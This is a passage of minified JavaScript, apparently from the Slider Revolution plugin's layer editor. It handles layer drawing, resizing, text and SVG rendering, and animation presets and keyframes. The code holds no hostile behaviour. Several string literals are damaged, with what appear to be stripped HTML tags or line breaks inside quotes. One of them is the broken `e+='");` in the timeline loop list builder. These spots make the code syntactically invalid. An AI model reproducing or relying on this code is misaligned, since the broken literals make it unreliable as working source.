0===i.drawnonce&&"button"===a.type||"text"===a.type)&&(i.drawnonce=!0,RVS.F.updateHTMLLayerPosition({uid:e.uid,wtr:n}))}),RVS.S.shwLayerAnim&&jQuery.inArray(e.uid,RVS.selLayers)>=0&&RVS.F.playLayerAnimation({layerid:e.uid}),RVS.F.updateMinSliderHeights()?RVS.S.drawingHTMLLayers?RVS.S.updateMinSliderHeight_force=!0:RVS.DOC.trigger("updatesliderlayout","layer.js-586"):(e.wtr=n,"relative"==a.position.position&&void 0!==RVS.L[a.group.puid]&&"group"===RVS.L[a.group.puid].type&&(RVS.S.layerPosWaitingToUpdate[a.group.puid]=!0),RVS.F.updateHTMLLayerPosition(e),requestAnimationFrame(function(){RVS.F.updateWaitingHTMLLayerPosition(),requestAnimationFrame(function(){RVS.F.updateHTMLLayerPosition(e)})}))},RVS.F.updateWaitingHTMLLayerPosition=function(){for(var e in RVS.S.layerPosWaitingToUpdate)RVS.S.layerPosWaitingToUpdate.hasOwnProperty(e)&&(RVS.F.updateHTMLLayerPosition({uid:e}),delete RVS.S.layerPosWaitingToUpdate[e])},RVS.F.addGradDegree=function(e,t){var i=(e=e.split("("))[0];return e.shift(),i+"("+t+"deg, "+e.join("(")},RVS.F.gradDegree=function(e){if(-1!==e.search("deg,")){var t=e.split("deg,")[0];if(-1!==t.search(/\(/))return parseInt(t.split("(")[1],10)}return 180},RVS.F.smartConvertDivs=function(e){return"string"==typeof e&&"#"===e[0]?e[1]/e[3]*100+"%":e},RVS.F.updateSharpCorners=function(e){if("text"===RVS.L[e.uid].type||"button"===RVS.L[e.uid].type||"shape"===RVS.L[e.uid].type){var t=RVS.H[e.uid],i=RVS.L[e.uid];e.resize||(t.leftcorner&&t.leftcorner.remove(),t.rightcorner&&t.rightcorner.remove()),"none"!==i.idle.cornerLeft&&(e.resize&&void 0!==t.leftcorner||(t.leftcorner=jQuery("<"+i.idle.cornerLeft+">"),t.c.append(t.leftcorner)),t.leftcorner.css("borderWidth",t.c.outerHeight()+"px"),t.leftcorner.css("borderRight","0px solid transparent"),e.bgcolor&&t.leftcorner.css("border"+("rs-fcrt"===i.idle.cornerLeft?"Bottom":"Top")+"Color",e.bgcolor)),"none"!==i.idle.cornerRight&&(e.resize&&void 0!==t.rightcorner||(t.rightcorner=jQuery("<"+i.idle.cornerRight+">"),t.c.append(t.rightcorner)),t.rightcorner.css("borderWidth",t.c.outerHeight()+"px"),t.rightcorner.css("borderLeft","0px solid transparent"),e.bgcolor&&t.rightcorner.css("border"+("rs-bcrt"===i.idle.cornerRight?"Top":"Bottom")+"Color",e.bgcolor))}},RVS.F.reOrderHTMLLayers=function(e){for(var t in RVS.C.layergrid.detach(),RVS.S.redrawHTMLLayersList=[],RVS.L)RVS.L.hasOwnProperty(t)&&(-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type||"zone"===RVS.L[t].type||RVS.F.reOrderHTMLLayer({uid:t}));for(t in RVS.L)RVS.L.hasOwnProperty(t)&&("column"==RVS.L[t].type||"group"==RVS.L[t].type&&-1!=RVS.L[t].group.puid)&&RVS.F.reOrderHTMLLayer({uid:RVS.L[t].uid});for(t in RVS.L)RVS.L.hasOwnProperty(t)&&("column"===RVS.L[t].type||-1===RVS.L[t].group.puid||"group"===RVS.L[t].type&&-1!=RVS.L[t].group.puid||RVS.F.reOrderHTMLLayer({uid:RVS.L[t].uid}));for(t in RVS.C.layergrid.appendTo(RVS.C.slide),RVS.S.redrawHTMLLayersList)RVS.S.redrawHTMLLayersList.hasOwnProperty(t)&&RVS.F.drawHTMLLayer({uid:RVS.S.redrawHTMLLayersList[t]});RVS.F.checkRowsChildren()},RVS.F.drawHTMLLayers=function(){!0!==RVS.S.drawingHTMLLayers&&(RVS.S.drawingHTMLLayers=!0,requestAnimationFrame(function(){for(var e in void 0===RVS.S.ReadyToShowAll&&(RVS.S.ReadyToShowAll="wait"),RVS.S.drawHTMLLayersCalled=!0,RVS.L)RVS.L.hasOwnProperty(e)&&(-1!==RVS.L[e].group.puid&&"row"!==RVS.L[e].type||"zone"===RVS.L[e].type||RVS.F.drawHTMLLayer({uid:e}));for(e in RVS.L)RVS.L.hasOwnProperty(e)&&("column"==RVS.L[e].type||"group"==RVS.L[e].type&&-1!=RVS.L[e].group.puid)&&RVS.F.drawHTMLLayer({uid:RVS.L[e].uid});for(e in RVS.L)RVS.L.hasOwnProperty(e)&&("column"===RVS.L[e].type||"group"===RVS.L[e].type&&-1!=RVS.L[e].group.puid||-1===RVS.L[e].group.puid||RVS.F.drawHTMLLayer({uid:RVS.L[e].uid}));RVS.F.checkRowsChildren(),RVS.S.drawingHTMLLayers=!1,(RVS.S.updateMinSliderHeight_force||"wait"==RVS.S.ReadyToShowAll)&&RVS.F.updatesliderlayout(void 0),RVS.S.updateMinSliderHeight_force=!1}))},RVS.F.buildHTMLLayers=function(e){for(var t in e=void 0===e?{}:e,RVS.L)RVS.L.hasOwnProperty(t)&&(-1!==RVS.L[t].group.puid&&"row"!==RVS.L[t].type||"zone"===RVS.L[t].type||RVS.F.buildHTMLLayer({uid:t,ignoreDrawLayers:e.ignoreDrawLayers}));for(t in RVS.L)RVS.L.hasOwnProperty(t)&&("column"==RVS.L[t].type||"group"==RVS.L[t].type&&-1==RVS.L[t].group.puid)&&RVS.F.buildHTMLLayer({uid:RVS.L[t].uid,ignoreDrawLayers:e.ignoreDrawLayers});for(t in RVS.L)RVS.L.hasOwnProperty(t)&&"group"==RVS.L[t].type&&-1!==RVS.L[t].group.puid&&RVS.F.buildHTMLLayer({uid:RVS.L[t].uid,ignoreDrawLayers:e.ignoreDrawLayers});for(t in RVS.L)RVS.L.hasOwnProperty(t)&&("column"===RVS.L[t].type||"group"===RVS.L[t].type&&-1!=RVS.L[t].group.puid||-1===RVS.L[t].group.puid||RVS.F.buildHTMLLayer({uid:RVS.L[t].uid,ignoreDrawLayers:e.ignoreDrawLayers}));RVS.F.checkRowsChildren(),RVS.F.checkLockedLayers(),RVS.F.checkShowHideLayers(),"change"===window.firstLockTest&&(RVS.F.showInfo({content:RVS_LANG.somelayerslocked,type:"goodtoknow",showdelay:2,hidedelay:3,hideon:"",event:""}),window.firstLockTest=!0)},RVS.F.updateLayerInputFields=function(e){if(0===RVS.selLayers.length)return RVS.S.layerInputFieldsInitialised?void 0:(RVS.F.showWaitAMinute({fadeIn:0,text:RVS_LANG.updatingfields}),void setTimeout(function(){RVS.S.layerInputFieldsInitialised=!0,RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.showWaitAMinute({fadeOut:2,text:RVS_LANG.updatingfields})},5));RVS.S.layerInputFieldsInitialised=!0,RVS.S.keyFrame="idle"===RVS.S.keyFrame?RVS.L[RVS.selLayers[0]].timeline.frameToIdle:RVS.S.keyFrame,void 0!==e&&!0===e.short?(RVS.F.updateEasyInputs({container:jQuery(".layertoolbar_wrap.layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateEasyInputs({container:jQuery(RVS.eMode.menu),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),window.requestAnimationFrame(function(){RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),delete RVS.S.updateEsyInputsTimer})):RVS.F.updateEasyInputs({container:jQuery(".layer_settings_collector"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0}),RVS.F.updateCusCSSContent(),RVS.F.stopAllLayerAnimation(),RVS.F.checkAvailableFontWeights(),RVS.F.updateLayerBgImage(!1),RVS.F.updateLayerImageSrcThumb(),RVS.F.updateRowColumnField(),RVS.F.updateFrameRealSpeed(),RVS.DOC.trigger("updateKeyFramesList"),RVS.S.shwLayerAnim&&RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]})},RVS.F.updateLayerBgImage=function(e){if(0!==RVS.selLayers.length){var t=RVS.L[RVS.selLayers[0]].idle.backgroundImage;""===(t=void 0===t||RVS.selLayers.length>1?"":t)&&!0!==RVS.L[RVS.selLayers[0]].idle.bgFromStream?jQuery("#layer_bg_adv_settings").hide():jQuery("#layer_bg_adv_settings").show(),tpGS.gsap.set("#layer_bg_image",{backgroundImage:'url("'+t+'")',"background-size":"percentage"===RVS.L[RVS.selLayers[0]].idle.backgroundSize?RVS.L[RVS.selLayers[0]].idle.backgroundSizePerc+"%":"pixel"===RVS.L[RVS.selLayers[0]].idle.backgroundSize?RVS.L[RVS.selLayers[0]].idle.backgroundSizePix+"px":RVS.L[RVS.selLayers[0]].idle.backgroundSize,backgroundPosition:RVS.L[RVS.selLayers[0]].idle.backgroundPosition}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[0]}),!1!==e&&setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#form_layerstyle_bg"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})},100)}},RVS.F.updateLayerImageSrcThumb=function(){0!==RVS.selLayers.length&&(RVS.selLayers.length>1?tpGS.gsap.set("#layer_image_src",{backgroundImage:"none"}):"image"===RVS.L[RVS.selLayers[0]].type&&(RVS.L[RVS.selLayers[0]].media.imageUrl.indexOf("png")>=0&&RVS.L[RVS.selLayers[0]].media.imageUrl!==RVS.ENV.img_ph_url?document.getElementById("minilayerprevimage_wrap").className="miniprevimage_wrap withimage":RVS.L[RVS.selLayers[0]].media.imageUrl==RVS.ENV.img_ph_url&&(document.getElementById("minilayerprevimage_wrap").className="miniprevimage_wrap"),document.getElementById("layer_image_src").style.backgroundImage='url("'+RVS.L[RVS.selLayers[0]].media.imageUrl+'")'))},RVS.F.updateLayerImageSrc=function(e,t){if(null!=t&&void 0!==t.layerid){for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.L[RVS.selLayers[i]].size.originalSize=parseInt(RVS.L[RVS.selLayers[i]].size.width[RVS.screen].v,0)==parseInt(RVS.L[RVS.selLayers[i]].size.originalWidth,0));t.direction="width",t.dirB="height",t.src=null==t.src?RVS.L[t.layerid].media.imageUrl:t.src,t.src=null==t.src?RVS.L[t.layerid].media.posterUrl:t.src,t.id=void 0===t.id?RVS.L[t.layerid].media.imageId:t.id,t.id=void 0===t.id?RVS.L[t.layerid].media.posterId:t.id,RVS.F.preloadImage({uid:t.layerid,slideId:RVS.S.slideId,image:t.src,silent:!1,callback:function(){var e=!1;for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(t.uid=RVS.selLayers[i],t.ignore=RVS.L[RVS.selLayers[i]].size.originalSize,S(t),e=e||t.uid===t.layerid);e||(t.uid=t.layerid,S(t)),RVS.F.updateLayerImageSrcThumb()}}),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#form_layer_content"),path:RVS.S.slideId+".layers.",trigger:"init",multiselection:!0})},100)}},RVS.F.updateLayerSVGSrc=function(e){null!=e&&void 0!==e.uids&&void 0!==e.src&&0!==e.uids.length&&jQuery.get(e.src,function(t){for(var i in e.uids)if(e.uids.hasOwnProperty(i)){var a=e.uids[i],r=(new XMLSerializer).serializeToString(t.documentElement);RVS.H[a].c[0].innerHTML=r,RVS.H[a].svg=RVS.H[a].w.find("svg"),RVS.H[a].svgPath=RVS.H[a].w.find(RVS.L[a].idle.svg.styleAll?"svg path, svg circle, svg ellipse, svg line, svg polygon, svg polyline, svg rect":"svg path"),RVS.F.updateLayerObj({path:"svg.renderedData",val:r,ignoreBackup:!0}),RVS.F.drawHTMLLayer({uid:a})}})},RVS.F.resetVideoPlaceholder=function(e,t){if(void 0!==t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];"video"===RVS.L[a].type&&(RVS.L[a].media.posterUrl===RVS.ENV.img_ph_url?RVS.H[a].c.addClass("placeholder_on"):RVS.H[a].c.removeClass("placeholder_on"))}},RVS.F.resyncVideoAspectRatio=function(){for(var e in RVS.F.openBackupGroup({id:"layerresize",txt:"Video Aspect Ratio",icon:"videocam"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e)){var t=RVS.L[RVS.selLayers[e]];if("video"===t.type){var i=t.media.ratio.split(":"),a=RVS.S.slideId+".layers."+t.uid+".";i=i[0]/i[1],RVS.F.updateSliderObj({path:a+"size.aspectRatio.#size#.v",val:i}),c({ignore:!0,direction:"width",dirB:"height",v:RVS.L[t.uid].size.width[RVS.screen].v,l:RVS.L[t.uid],pre:a}),RVS.F.drawHTMLLayer({uid:t.uid})}}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.changeAudioLayerSize=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Audio Layer Controls",icon:"photo_size_select_large"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+"media.controls",val:!e.l.media.controls}),"audio"===e.l.type&&(e.l.media.controls?(RVS.F.updateSliderObj({path:e.pre+"size.width.#size#.v",val:350}),RVS.F.updateSliderObj({path:e.pre+"size.height.#size#.v",val:54})):(RVS.F.updateSliderObj({path:e.pre+"size.width.#size#.v",val:54}),RVS.F.updateSliderObj({path:e.pre+"size.height.#size#.v",val:54}))),RVS.F.drawHTMLLayer({uid:e.uid}));RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.changeMediaControlsInteraction=function(e){for(var t in RVS.F.openBackupGroup({id:"mediacontrols",txt:"Media Layer Controls",icon:"photo_size_select_large"}),RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+"media.nointeraction",val:!e.l.media.nointeraction}),RVS.F.updateSliderObj({path:e.pre+"media.controls",val:!1}),RVS.F.updateSliderObj({path:e.pre+"media.largeControls",val:!1}));RVS.F.closeBackupGroup({id:"mediacontrols"}),RVS.F.updateLayerInputFields()},RVS.F.changeLayerSizes=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Layer "+e.direction.toUpperCase(),icon:"photo_size_select_large"}),e.dirB="width"===e.direction?"height":"width",RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".","height"==e.direction&&(""+e.v).indexOf("%")>0&&void 0!==RVS.L[e.l.group.puid]&&"column"===RVS.L[e.l.group.puid].type&&("shape"===e.l.type|"button"===e.l.type||"text"==e.l.type)&&parseInt(e.v)>=99&&(e.v=e.v.replace("%","px")),e.l.size.scaleProportional?c(e):RVS.F.updateSliderObj({path:e.pre+"size."+e.direction+".#size#.v",val:e.v}),RVS.F.drawHTMLLayer({uid:e.uid}));RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.lockUnlockLayerRatio=function(e){for(var t in RVS.F.openBackupGroup({id:"layerresize",txt:"Layer Aspect Ratio",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)&&(e.uid=RVS.selLayers[t],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",e.direction="width",e.dirB="height",RVS.F.updateSliderObj({path:e.pre+"size.scaleProportional",val:e.val}),e.val))if("image"===e.l.type)e.v=e.l.size.width[RVS.screen].v,e.ignore=!0,c(e),RVS.F.drawHTMLLayer({uid:e.uid});else{var i=RVS.H[e.uid].w,a=i.width(),r=i.height();RVS.F.updateSliderObj({path:e.pre+"size.originalWidth",val:a}),RVS.F.updateSliderObj({path:e.pre+"size.originalHeight",val:r}),RVS.F.updateSliderObj({path:e.pre+"size.aspectRatio.#size#.v",val:a/r})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()},RVS.F.lockUnlockMarginPadding=function(e,t,i,a){for(var r in a=void 0===a?"idle":a,RVS.F.openBackupGroup({id:"lock"+t,txt:"Lock and reset "+t+"(s)",icon:"border_outer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){if(e.uid=RVS.selLayers[r],e.l=RVS.L[e.uid],e.pre=RVS.S.slideId+".layers."+e.uid+".",RVS.F.updateSliderObj({path:e.pre+a+"."+t+"Lock",val:e.val}),e.val){var s=void 0===e.l[a][t][RVS.screen]?void 0===e.l[a][t].v?e.l[a][t][0]:e.l[a][t].v[0]:e.l[a][t][RVS.screen].v[0];RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".1",val:s}),RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".2",val:s}),RVS.F.updateSliderObj({path:e.pre+a+"."+t+i+".3",val:s})}RVS.F.drawHTMLLayer({uid:e.uid})}RVS.F.closeBackupGroup({id:"lock"+t}),RVS.F.updateLayerInputFields()},RVS.F.updateMarginPaddingValues=function(e,t,i,a){for(var r in a=void 0===a?"idle":a,RVS.F.openBackupGroup({id:t+"Value",txt:"Layer "+t,icon:"border_outer"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(r)){var s=RVS.L[RVS.selLayers[r]],o=RVS.S.slideId+".layers."+RVS.selLayers[r]+".";if(s[a][t+"Lock"])for(var n=0;n<4;n++)RVS.F.updateSliderObj({path:o+a+"."+t+i+"."+n,val:e.val});else RVS.F.updateSliderObj({path:o+a+"."+t+i+"."+e.eventparam,val:e.val});RVS.F.drawHTMLLayer({uid:RVS.selLayers[r]})}RVS.F.closeBackupGroup({id:t+"Value"}),RVS.F.updateLayerInputFields()},RVS.F.replaceMetas=function(e){if(e.indexOf("{{")>=0)for(var t in RVS.LIB.META)if(RVS.LIB.META.hasOwnProperty(t)&&e.search(t)>=0){var i=new RegExp(t,"g");e=e.replace(i,RVS.LIB.META[t])}return e},RVS.F.redrawEditedTextLayerwhenPlaceholder=function(){void 0!==RVS.selLayers[0]&&void 0!==RVS.L[RVS.selLayers[0]]&&RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0],document.getElementById("ta_layertext").value!==RVS.S.inFocusValu)},RVS.F.redrawTextLayerInnerHTML=function(e,t,i){null!=e&&(void 0!==RVS.L[e]&&"text"===RVS.L[e].type||"button"===RVS.L[e].type)&&(t&&(void 0!==RVS.H[e].splitText&&RVS.H[e].splitText.revert(),RVS.H[e].splitText=void 0),null!=RVS.L[e].subtype&&null!=RVS.F["redrawTextLayerInnerHTML_"+RVS.L[e].subtype]&&1==RVS.F["redrawTextLayerInnerHTML_"+RVS.L[e].subtype](e)||(void 0!==RVS.L[e].placeholder&&RVS.L[e].placeholder.length>0&&" "!==RVS.L[e].placeholder?RVS.H[e].c[0].innerHTML=RVS.L[e].placeholder:RVS.H[e].c[0].innerHTML=!0!==i&&RVS.L[e].toggle.set&&""!==RVS.L[e].toggle.text&&RVS.C.toggledTextButton.className.indexOf("selected")>=0?jQuery.inArray(RVS.L[e].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(RVS.L[e].toggle.text):RVS.F.replaceMetas(RVS.L[e].toggle.text.replace(/\r\n|\r|\n/g,"
    ")):jQuery.inArray(RVS.L[e].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(RVS.L[e].text):RVS.F.replaceMetas(RVS.L[e].text.replace(/\r\n|\r|\n/g,"
    "))),t&&(RVS.F.drawHTMLLayer({uid:e,ignoreLayerAnimation:!0}),void 0!==RVS.L[e].timeline.split&&RVS.F.updateLayerFrames({layerid:e})))},RVS.DOC.on("redrawSelectedLayersInnerHTML",function(){RVS.F.redrawTextLayerInnerHTML(RVS.selLayers[0],!0)}),RVS.DOC.on("caralwaysvisiblecheck",function(e,t){if(null!=t&&null!=t.layerid&&null!=RVS.selLayers[0])if(1==RVS.L[RVS.selLayers[0]].visibility.alwaysOnCarousel){var i=RVS.F.getLayerHierArchy(RVS.selLayers[0]);for(var a in i)if(null!=RVS.L[i[a]]&&1!=RVS.L[i[a]].visibility.alwaysOnCarousel)return void(0==RVS.L[i[a]].visibility.alwaysOnCarousel&&RVS.F.showInfo({content:'"'+RVS.L[i[a]].alias+'" '+RVS_LANG.someParentIsHidden_a+"
    "+RVS_LANG.someParentIsHidden_b,type:"goodtoknow",showdelay:0,hidedelay:4,hideon:"",event:""}))}else{var r=RVS.F.getLayerChildren({layerid:RVS.selLayers[0]});for(a in r)if(r.hasOwnProperty(a)&&null!=RVS.L[a]&&1!=RVS.L[a].visibility.alwaysOnCarousel)return void(0==RVS.L[a].visibility.alwaysOnCarousel&&RVS.F.showInfo({content:'"'+RVS.L[a].alias+'" '+RVS_LANG.someParentIsHidden_c+"
    "+RVS_LANG.someParentIsHidden_d,type:"goodtoknow",showdelay:0,hidedelay:4,hideon:"",event:""}))}}),RVS.F.changeLayerAnimation=function(e){e.fromLayerTransListe||(window.timelineTemporaryCached=!0,RVS.L[RVS.selLayers[0]].timelinecache=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline)),R(RVS.LIB.LAYERANIMS[e.direction][e.group].transitions[e.transition],e.transition,e.group);var t="loop"===e.direction?"loop":"play_circle_filled",i="loop"===e.direction?RVS_LANG.backupTemplateLoop:RVS_LANG.backupTemplateLayerAnim,a="loop"===e.direction?"layerLoop":"layerFrames",r="loop"===e.direction?"loop":"frames";for(var s in e.ignoreBackupGroup||RVS.F.openBackupGroup({id:"changeFramesFromTemplate",txt:i,icon:t}),RVS.F.backup({path:r,layer:RVS.selLayers[0],slide:RVS.S.slideId,cache:void 0,icon:t,txt:i,lastkey:"timeline",force:!0,val:RVS.L[RVS.selLayers[0]].timeline[r],old:RVS.L[RVS.selLayers[0]].timelinecache[r],backupType:a,bckpGrType:"layerTemplateAnimation"}),RVS.JHOOKS.changeLayerAnimation)RVS.JHOOKS.changeLayerAnimation.hasOwnProperty(s)&&RVS.JHOOKS.changeLayerAnimation[s](e);e.ignoreBackupGroup||RVS.F.closeBackupGroup({id:"changeFramesFromTemplate"}),window.timelineTemporaryCached=!1,delete RVS.L[RVS.selLayers[0]].timelinecache,jQuery(".layer_transliste.open").removeClass("open"),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.updateLayerInputFields(),RVS.S.shwLayerAnim?RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}):RVS.F.stopAllLayerAnimation()},RVS.F.updateLayerTimelineLoopLists=function(){var e="";for(var t in window.layerTimelineLoopFrom=null==window.layerTimelineLoopFrom?jQuery("#la_timeline_loop_from"):window.layerTimelineLoopFrom,window.layerTimelineLoopTo=null==window.layerTimelineLoopTo?jQuery("#la_timeline_loop_to"):window.layerTimelineLoopTo,RVS.L[RVS.selLayers[0]].timeline.frameOrder)RVS.L[RVS.selLayers[0]].timeline.frameOrder.hasOwnProperty(t)&&t>0&&"frame_999"!==RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id&&(e+='");window.layerTimelineLoopFrom[0].innerHTML=window.layerTimelineLoopTo[0].innerHTML=e,window.layerTimelineLoopFrom.val(RVS.L[RVS.selLayers[0]].timeline.tloop.from).ddTP("change"),window.layerTimelineLoopTo.val(RVS.L[RVS.selLayers[0]].timeline.tloop.to).ddTP("change")},RVS.F.updateCoveredLayer=function(e){return"cover-proportional"===RVS.L[e].size.covermode||"cover"===RVS.L[e].size.covermode?{width:RVS.S.ulDIM.width,height:RVS.S.ulDIM.height}:"fullwidth"===RVS.L[e].size.covermode?{width:RVS.S.ulDIM.width}:"fullheight"===RVS.L[e].size.covermode&&{height:RVS.S.ulDIM.height}},RVS.F.updateCoveredLayers=function(e){window.requestAnimationFrame(function(){for(var t in RVS.L)if(RVS.L.hasOwnProperty(t)&&void 0!==RVS.H[t]&&void 0!==RVS.L[t].behavior&&"slide"===RVS.L[t].behavior.baseAlign){var i=RVS.F.updateCoveredLayer(t);if(void 0!==i&&e)RVS.F.drawHTMLLayer({uid:t}),RVS.F.updateHTMLLayerPosition({uid:t});else if((!1!==i&&void 0!==i.width||void 0!==i.height)&&tpGS.gsap.set(RVS.H[t].w,i),RVS.H[t].w_width=void 0!==i.width?i.width:RVS.H[t].w_width,RVS.H[t].w_height=void 0!==i.height?i.height:RVS.H[t].w_height,"image"===RVS.L[t].type&&"custom"!==RVS.L[t].size.covermode){var a=RVS.F.getProportionalSizes({proportional:RVS.L[t].size.scaleProportional,type:RVS.L[t].size.covermode,image:{width:RVS.L[t].size.originalWidth,height:RVS.L[t].size.originalHeight},viewPort:{width:!1!==i&&void 0!==i.width?RVS.S.ulDIM.width:RVS.F.GW(RVS.screen),height:!1!==i&&void 0!==i.height?RVS.S.ulDIM.height:RVS.SLIDER.settings.size.height[RVS.screen]}});RVS.H[t].c[0].style.width=a.width+"px",RVS.H[t].c[0].style.height=a.height+"px"}}})},RVS.F.updateLayerPositionClass=function(e,t){null!=e&&null!=RVS.H[e]&&null!=RVS.H[e].w&&(RVS.H[e].w[0].classList.remove("_lc_i_abs"),RVS.H[e].w[0].classList.remove("_lc_i_rel"),-1==RVS.L[e].group.puid&&RVS.L[e].position.position,t&&(RVS.L[e].position.ingrouppositoin=RVS.L[e].position.position),void 0===RVS.L[RVS.L[e].group.puid]||"group"!==RVS.L[RVS.L[e].group.puid].type&&"column"!==RVS.L[RVS.L[e].group.puid].type||RVS.H[e].w[0].classList.add("relative"==RVS.L[e].position.position?"_lc_i_rel":"_lc_i_abs"))},RVS.F.setKeyframeSelected=function(e){RVS.S.keyFrame=e,p(),RVS.F.updateLayerInputFields(),RVS.TL.cache.main="frame_0"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameStart("frame_1")/100:"frame_999"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameMiddle("frame_999")/100:(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main=RVS.TL.cache.main<.01?.01:RVS.TL.cache.main,RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})},RVS.F.updateKeyframeSelected=function(e){RVS.TL.cache.main="frame_0"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameStart("frame_1")/100:"frame_999"===RVS.S.keyFrame?RVS.F.getTimeAtSelectedFrameMiddle("frame_999")/100:(RVS.F.getTimeAtSelectedFrameEnd()-2)/100,RVS.TL.cache.main=RVS.TL.cache.main<.01?.01:RVS.TL.cache.main,RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:100*RVS.TL.cache.main,refreshMainTimeLine:!1,caller:"updateKeyframeSelected"})},RVS.F.migrateCustomAnimation=function(e){for(var t in e)if(e.hasOwnProperty(t))if("in"===e[t].settings||"out"===e[t].settings)RVS.LIB.LAYERANIMS[e[t].settings].custom.transitions[e[t].id]=e[t].params;else if(void 0!==e[t].params&&("customin"===e[t].params.type||"customout"===e[t].params.type)){var i="customin"==e[t].params.type?"in":"out",a=RVS.LIB.LAYERANIMS[i].custom.transitions,r="in"===i?"frame_0":"frame_999",s={name:e[t].handle};s[r]={transform:{},timeline:{}},"in"===i?s.frame_1={timeline:{speed:e[t].params.speed,ease:e[t].params.easing}}:s.frame_999.timeline={speed:e[t].params.speed,ease:e[t].params.easing},"true"!=e[t].params.mask&&1!=e[t].params.mask||(s[r].mask={use:!0,x:e[t].params.mask_x,y:e[t].params.mask_y},"in"===i&&(s.frame_1.mask={use:!0,x:0,y:0}));var o=s[r].transform,n={use:!0,delay:e[t].params.splitdelay};switch(e[t].params.split){case"lines":case"line":s[r].lines=n,o=s[r].lines,"in"===i&&(s.frame_1.lines=n);break;case"words":case"word":s[r].words=n,o=s[r].words,"in"===i&&(s.frame_1.words=n);break;case"chars":case"char":s[r].chars=n,o=s[r].chars,"in"===i&&(s.frame_1.chars=n)}for(var l in void 0!==e[t].params.captionopacity&&(o.opacity=e[t].params.captionopacity),e[t].params)if(e[t].params.hasOwnProperty(l)){var d=e[t].params[l];if("inherit"!==d&&"0"!==d&&0!==d&&"0px"!==d)switch(l){case"movex":o.x=d;break;case"movey":o.y=d;break;case"movez":o.z=d;break;case"rotationx":o.rotationX=d;break;case"rotationy":o.rotationY=d;break;case"rotationz":o.rotationZ=d;break;case"skewx":o.skewX=d;break;case"skewy":o.skewY=d}}a[e[t].id]=s}},RVS.F.objChangeCompare=function(e,t,i){if(i=null==i?{s:0,a:0}:i,"object"==typeof e)for(var a in e)e.hasOwnProperty(a)&&"timeline"!=a&&("object"==typeof e[a]&&void 0!==t[a]&&"object"==typeof t[a]?i=RVS.F.objChangeCompare(e[a],t[a],i):(i.a++,""+e[a]==""+t[a]&&i.s++));return i},RVS.F.compareLayerAnimPresets=function(e){var t,i,a,r,s,o;for(var n in e)if(e.hasOwnProperty(n)&&null!=e[n].timeline)for(var l in t=void 0,e[n].timeline.frames)if(("frame_1"===l||"frame_999"===l||"frame_loop"===l)&&null!=e[n].timeline.frames[l].timeline.preset&&null!=e[n].timeline.frames[l].timeline.presetgroup&&(o="frame_1"==l?"in":"frame_999"==l?"out":"loop",null!=(o=null==(o=null!=RVS.LIB.LAYERANIMS[o][e[n].timeline.frames[l].timeline.presetgroup]?RVS.LIB.LAYERANIMS[o][e[n].timeline.frames[l].timeline.presetgroup]:void 0)?null!=RVS.LIB.LAYERANIMS.in[e[n].timeline.frames[l].timeline.presetgroup]?RVS.LIB.LAYERANIMS.in[e[n].timeline.frames[l].timeline.presetgroup]:void 